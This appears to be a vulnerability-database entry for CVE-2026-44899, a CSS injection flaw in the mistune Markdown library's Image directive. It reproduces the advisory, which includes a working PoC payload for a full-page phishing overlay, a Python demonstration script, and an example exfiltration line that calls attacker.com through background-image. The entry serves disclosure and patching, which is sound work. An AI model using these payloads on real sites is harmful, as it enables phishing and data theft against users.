What is the CVSS score of CVE-2026-44899?

CVE-2026-44899 has a CVSS 3.1 base score of 4.7 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N. EPSS exploitation probability: 0.0%.

Is there a patch available for CVE-2026-44899?

Yes, a patch is available for CVE-2026-44899. Update the affected software to the latest version immediately.

mistune CVE-2026-44899

MEDIUM

Cross-site Scripting (XSS) (CWE-79)

2026-05-14 https://github.com/lepture/mistune

GHSA-ccfx-mfmx-2fx9

XSS Python Apple

4.7

CVSS 3.1

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Changed

Confidentiality

Low

Integrity

None

Availability

None

Lifecycle Timeline

Source Code Evidence Fetched

May 14, 2026 - 17:35 vuln.today

Analysis Generated

May 14, 2026 - 17:35 vuln.today

CVE Published

May 14, 2026 - 16:36 nvd

MEDIUM 4.7

Blast Radius

ecosystem impact

† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth

4 pypi packages depend on mistune (4 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.2.0.

DescriptionNVD

Summary

The Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:\.\d*)?"). This pattern is applied via re.match() (which anchors only at the start of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.

When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:...;" or style="height:...;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping.

An attacker can therefore inject an arbitrary chain of CSS properties - including position:fixed, background-color, z-index, outline, and opacity - using nothing more than a single :width: option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.

Details

File: src/mistune/directives/image.py

python

_num_re = re.compile(r"^\d+(?:\.\d*)?")
# no $ anchor - prefix match only

def _parse_attrs(options):
    height = options.get("height")
    width  = options.get("width")
    if height and _num_re.match(height):
# passes if value STARTS with a digit
        attrs["height"] = height
# full value stored, not just digits
    if width and _num_re.match(width):
# same - prefix-only check
        attrs["width"] = width

And in render_block_image():

python

if width:
    if width.isdigit():
        img += ' width="' + width + '"'
# safe: integer → HTML attribute
    else:
        style += "width:" + width + ";"
# UNSAFE: non-integer → raw style value

The isdigit() branch correctly uses an HTML attribute for plain integers. The else branch assumes that anything that passed _num_re.match() is a safe CSS length like 100px or 50%. However, because the regex is prefix-only, 100vw;height:100vh;position:fixed;... also passes, and the entire string lands in style= unmodified.

PoC

Step 1 - Establish the baseline (safe plain-integer dimensions)

The script creates a parser with escape=True, FencedDirective, and the Image plugin. A safe image directive is rendered with integer width and height:

python

md = create_markdown(escape=True, plugins=[FencedDirective([Image()])])

bl_src = (
    "```{image} photo.jpg\n"
    ":width: 400\n"
    ":height: 300\n"
    ":alt: safe image\n"
    "```\n"
)
bl_out = str(md(bl_src))

Expected and actual output - clean width= and height= HTML attributes, no style=:

html

<div class="block-image"><img src="photo.jpg" alt="safe image" width="400" height="300" /></div>

Step 2 - Understand why non-integer widths go into style=

When width is not a plain integer (e.g., 100px), width.isdigit() returns False, so the render path falls through to style += "width:" + width + ";". This is the intended mechanism for CSS-unit dimensions. The flaw is that _num_re.match() lets far more than CSS units through.

Step 3 - Craft the exploit payload

Provide a :width: value that begins with a valid number (satisfying _num_re.match()) but appends an entire CSS attack chain after it:

:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93

100vw - starts with 1, passes _num_re.match(); also sets the width to full viewport width
;height:100vh - overrides height to full viewport height
;position:fixed - lifts element out of document flow, fixed to the browser viewport
;top:0;left:0 - anchors overlay to the top-left corner
;z-index:9999 - places it above all other page content
;background-color:#e11d48 - fills the overlay with vivid crimson
;outline:8px solid #facc15 - adds a bright yellow border
;color:#fff;opacity:.93 - styles the alt-text label in white with near-full opacity

Full exploit markdown:

:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93 :alt: ⚠ CSS INJECTED - click to dismiss ⚠

Step 4 - Observe the injected style= in the output

python

ex_src = (
    "```{image} x.jpg\n"
    ":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;"
    "background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n"
    ":alt: ⚠ CSS INJECTED - click to dismiss ⚠\n"
    "```\n"
)
ex_out = str(md(ex_src))

Actual output:

html

<div class="block-image"><img src="x.jpg" alt="⚠ CSS INJECTED - click to dismiss ⚠" style="width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;" /></div>

Every injected CSS property is present in the style= attribute. When a browser renders this HTML, the <img> element:

expands to fill 100% of the viewport width and height
sits fixed at the top-left corner, scrolling with the viewport
is coloured crimson with a yellow outline
appears above all other page content

The result is a complete full-page phishing overlay generated from a single Markdown image directive.

Script

I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.

python

#!/usr/bin/env python3
"""H6: Image directive CSS injection - width/height use prefix-only re.match().

Exploit combines: position:fixed  +  background-color  +  outline colour
→ a full-viewport coloured overlay injected via a single :width: option.
"""
import os, html as h
from mistune import create_markdown
from mistune.directives import FencedDirective
from mistune.directives.image import Image

md = create_markdown(escape=True, plugins=[FencedDirective([Image()])])
# --- baseline ---
bl_file = "baseline_h6.md"
bl_src  = (
    "```{image} photo.jpg\n"
    ":width: 400\n"
    ":height: 300\n"
    ":alt: safe image\n"
    "```\n"
)
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
    f.write(bl_src)
bl_out = str(md(bl_src))

print(f"[{bl_file}]\n{bl_src}")
print("[output - clean width/height attributes, no style injection]")
print(bl_out)
# --- exploit ---
# _num_re.match() is prefix-only (no $ anchor), so anything after the leading
# digits is accepted and written verbatim into style="width:<value>;".
# This single :width: value smuggles a full CSS attack chain:
#   position:fixed  → overlay sits above the entire page
#   top/left/width/height → covers 100 % of the viewport
#   background-color:#e11d48 → vivid crimson fill
#   outline:8px solid #facc15 → bright yellow border
#   color:#fff → white alt-text label
#   z-index:9999 → on top of everything
ex_file = "exploit_h6.md"
ex_src  = (
    "```{image} x.jpg\n"
    ":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;"
    "background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n"
    ":alt: ⚠ CSS INJECTED - click to dismiss ⚠\n"
    "```\n"
)
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
    f.write(ex_src)
ex_out = str(md(ex_src))

print(f"[{ex_file}]\n{ex_src}")
print("[output - colour + background-colour + fixed overlay injected into style=]")
print(ex_out)
# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;
      font-size:.85em;color:#92400e;margin:12px 0}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;
      box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit  .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;
    font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;
          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}
/* scope the live-render sandbox so position:fixed stays inside the box */
.sandbox{position:relative;width:100%;height:100%}
.sandbox img{max-width:100%;max-height:100%;object-fit:contain}
/* override position:fixed on exploit img to keep it inside the preview box */
.sandbox img[style*="position:fixed"]{position:absolute!important;width:100%!important;
  height:100%!important;top:0!important;left:0!important}
"""

def case(kind, label, filename, src, out):
    header = "BASELINE" if kind == "baseline" else "EXPLOIT"
    sandbox = f'<div class="sandbox">{out}</div>'
    return f"""
<div class="case {kind}">
  <div class="case-header">{header} - {h.escape(label)}</div>
  <div class="panels">
    <div class="panel">
      <h3>Input - {h.escape(filename)}</h3>
      <pre>{h.escape(src)}</pre>
    </div>
    <div class="panel">
      <h3>Output - HTML source</h3>
      <pre>{h.escape(out)}</pre>
      <div class="rlabel">↓ live render (sandboxed to preview box)</div>
      <div class="rendered">{sandbox}</div>
    </div>
  </div>
</div>"""

page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H6 - Image CSS Injection</title><style>{CSS}</style></head><body>
<h1>H6 - Image Directive CSS Injection</h1>
<p class="desc">
  <code>_parse_attrs()</code> in <code>directives/image.py</code> validates
  <code>:width:</code> / <code>:height:</code> with <code>_num_re.match()</code>
  (prefix-only - no <code>$</code> anchor). Anything after the leading digits
  is accepted verbatim and written straight into a <code>style=</code> attribute.
  A single <code>:width:</code> option is sufficient to smuggle an arbitrary
  CSS chain: <strong>position:fixed · background-color · outline colour · full-viewport overlay</strong>.
</p>
<div class="warn">
  ⚠ The EXPLOIT preview below is sandboxed inside its box.
  In a real document the crimson overlay would cover the <em>entire browser window</em>.
</div>
{case("baseline",
      "Integer dims → clean width/height= attributes, no style=",
      bl_file, bl_src, bl_out)}
{case("exploit",
      ":width: carries position:fixed + background-color + outline → full-viewport coloured overlay",
      ex_file, ex_src, ex_out)}
</body></html>"""

out_path = os.path.join(os.getcwd(), "report_h6.html")
with open(out_path, "w") as f:
    f.write(page)
print(f"\n[report] {out_path}")

Example usage:

bash

python poc.py

Once you run the script, open report_h6.html in the browser and observe the behaviour.

Impact

Dimension	Assessment
Confidentiality	CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations
Integrity	Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation
Availability	The overlay obscures all page content from the user until dismissed or navigated away

Real-world impact scenario: An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.

AnalysisAI

CSS injection in mistune's Image directive plugin allows unauthenticated remote attackers to inject arbitrary CSS properties via the :width: or :height: options in fenced image directives, enabling full-page phishing overlays and UI redressing attacks. The vulnerability stems from a prefix-only regex validation (_num_re.match() with no end-of-string anchor) that accepts values like '100vw;position:fixed;background-color:#e11d48;...' and renders them unescaped into style= attributes. …

Analysis

Detailed AI-generated intelligence summary covering attack vector, impact assessment, affected versions, remediation steps, and indicators of compromise.

POChttps://••••••••••.com/exploit

PATCHhttps://••••••••••.com/patch

ADVISORYhttps://••••••••••.com/advisory